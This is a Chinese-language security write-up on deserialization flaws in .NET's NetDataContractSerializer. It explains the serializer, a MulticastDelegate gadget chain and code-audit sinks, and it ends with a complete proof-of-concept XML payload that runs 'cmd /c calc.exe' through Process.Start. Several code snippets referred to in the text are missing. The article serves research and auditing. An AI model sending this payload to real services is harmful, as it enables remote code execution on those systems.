一、前言
netdatacontractserializer和datacontractserializer一樣用于序列化和反序列化windows communication foundation (wcf) 消息中發(fā)送的數據。兩者之間存在一個重要區(qū)別:netdatacontractserializer 包含了clr,通過clr類型添加額外信息并保存引用來支持類型精確,而datacontractserializer 則不包含。 因此,只有在序列化和反序列化端使用相同的 clr 類型時,才能使用 netdatacontractserializer。若要序列化對象使用 writeobject或者serialize方法, 若要反序列化 xml流使用 readobject或者deserialize方法。在某些場景下讀取了惡意的xml流就會造成反序列化漏洞,從而實現遠程rce攻擊,本文筆者從原理和代碼審計的視角做了相關介紹和復現。
二、NetDataContractSerializer序列化
使用WriteObject或者Serialize可以非常方便的實現.NET對象與XML數據之間的轉化,注意NetDataContractSerializer包含了程序集的名字和被序列化類型的類型。這些額外信息可以用來將XML反序列化成特殊類型,允許相同類型可以在客戶端和服務端同時使用。另外的信息是z:Id屬性在不同的元素上意義是不同的。這個用來處理引用類型以及當XML被反序列化時是否引用可以保留,最后的結論是這個輸出相比DataContractSerializer的輸出包含了更多信息。下面通過一個實例來說明問題,首先定義TestClass對象
TestClass對象定義了三個成員,并實現了一個靜態(tài)方法ClassMethod啟動進程。序列化通過創(chuàng)建對象實例分別給成員賦值 ? ?
筆者使用Serialize得到序列化TestClass類后的xml數據
<TestClass z:Id="1" z:Type="WpfApp1.TestClass" z:Assembly="WpfApp1,Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><age>18</age><classname z:Id="2">360</classname><name z:Id="3">Ivan1ee</name></TestClass>
三、NetDataContractSerializer反序列
3.1 反序列化原理和用法
NetDataContractSerializer類反序列過程是將XML流轉換為對象,通過創(chuàng)建一個新對象的方式調用ReadObject多個重載方法或Serialize方法實現的,查看定義得知繼承自XmlObjectSerializer抽象類、IFormatter接口,
NetDataContractSerializer類實現了XmlObjectSerializer抽象類中的WriteObject、ReadObject方法,也實現了IFormatter中定義的方法。筆者通過創(chuàng)建新對象的方式調用Deserialize方法實現的具體實現代碼可參考以下
其實在Deserialize方法內也是調用了ReadObject方法反序列化的
反序列化過程中使用ReadObject方法調用了ReadObjectHandleExceptions方法,省略一些非核心代碼,進入InternalReadObject方法體內反序列化后得到對象的屬性,打印輸出成員Name的值。
3.2 攻擊向量—MulticastDelegate
多路廣播委托(MulticastDelegate)繼承自 Delegate,其調用列表中可以擁有多個元素的委托,實際上所有委托類型都派生自MulticastDelegate。MulticastDelegate類的_invocationList字段在構造委托鏈時會引用委托數組,但為了取得對委托鏈更多的控制就得使用GetInvocationList方法,它是具有一個帶有鏈接的委托列表,在對委托實例進行調用的時候,將按列表中的委托順序進行同步調用,那么如何將calc.exe添加到GetInvocationList列表方法?首先先看Comparison
Comparison類返回委托,再使用Delegate或者MulticastDelegate類的公共靜態(tài)方法Combine將委托添加到鏈中作為Comparison的類型比較器 ? ?
使用Comparer
多路廣播委托的調用列表GetInvocationList方法在內部構造并初始化一個數組,讓它的每個元素都引用鏈中的一個委托,然后返回對該數組的引用,下面代碼修改了私有字段_InvocationList并用泛型委托Func返回Process類。 ? ?
最后傳入攻擊載荷后得到完整序列化后的poc,如下 ? ?
四、代碼審計
4.1 Deserialize
從代碼審計的角度只需找到可控的Path路徑就可以被反序列化,例如以下場景:
4.2 ReadObject
上面兩種方式都是很常見的,需要重點關注。
五、復盤
1.? 代碼中實現讀取本地文件內容 ? ?
2.? 傳遞poc xml,彈出計算器網頁返回200
1. <ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]" z:Assembly="System,Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/" ><Count z:Id ="2" z:Type ="System.Int32" z:Assembly ="0" xmlns="">2</Count ><Comparer z:Id ="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns="" ><_comparison z:Id ="4" z:FactoryType ="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly ="0" xmlns= "http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a ="http://schemas.datacontract.org/2004/07/System" ><Delegate z:Id= "5" z:Type= "System.DelegateSerializationHolder+DelegateEntry" z:Assembly = "0"xmlns= "" ><a:assembly z:Id="6" >mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly ><a:delegateEntry z:Id="7" ><a:assemblyz:Ref="6" i:nil= "true"/>< a:delegateEntry i:nil="true" /><a:methodName z:Id ="8" >Compare</a:methodName ><a:target i:nil ="true" />< a:targetTypeAssembly z:Ref ="6" i:nil ="true" /><a:targetTypeName z:Id ="9" >System.String</ a:targetTypeName >< a:type z:Id = "10">System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]</ a:type ></ a:delegateEntry >< a:methodName z:Id = "11" >Start</ a:methodName >< a:target i:nil = "true" />< a:targetTypeAssembly z:Id = "12" >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly >< a:targetTypeName z:Id = "13" >System.Diagnostics.Process</ a:targetTypeName >< a:type z:Id = "14" >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]</ a:type ></ Delegate >< method0 z:Id = "15" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = " http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "11" i:nil = "true" />< AssemblyName z:Ref = "12" i:nil = "true" />< ClassName z:Ref = "13" i:nil = "true" />< Signature z:Id = "16" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.Process Start(System.String,System.String)</ Signature >< Signature2 z:Id = "17" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.ProcessStart(System.String, System.String)</ Signature2 >< MemberType z:Id = "18" z:Type = "System.Int32" z:Assembly = "0" >8</ MemberType ><GenericArguments i:nil = "true" /></ method0 >< method1 z:Id = "19" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = " http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "8" i:nil = "true" />< AssemblyName z:Ref = "6" i:nil = "true" />< ClassName z:Ref = "9" i:nil = "true" />< Signature z:Id = "20" z:Type = "System.String" z:Assembly = "0" >Int32 Compare(System.String, System.String)</ Signature >< Signature2 z:Id = "21" z:Type = "System.String" z:Assembly = "0" >System.Int32 Compare(System.String,System.String)</Signature2 >< MemberType z:Id = "22" z:Type = "System.Int32" z:Assembly = "0" >8</ MemberType >< GenericArguments i:nil = "true" /></ method1 ></ _comparison ></ Comparer >< Version z:Id = "23" z:Type = "System.Int32" z:Assembly = "0" xmlns = "" >2</ Version >< Items z:Id = "24" z:Type = "System.String[]" z:Assembly = "0" z:Size = "2" xmlns = "" >< string z:Id = "25" xmlns = " http://schemas.microsoft.com/2003/10/Serialization/Arrays" >/c calc.exe</ string >< string z:Id = "26" xmlns = " http://schemas.microsoft.com/2003/10/Serialization/Arrays" >cmd</ string ></ Items ></ ArrayOfstring >
最后附上動態(tài)效果圖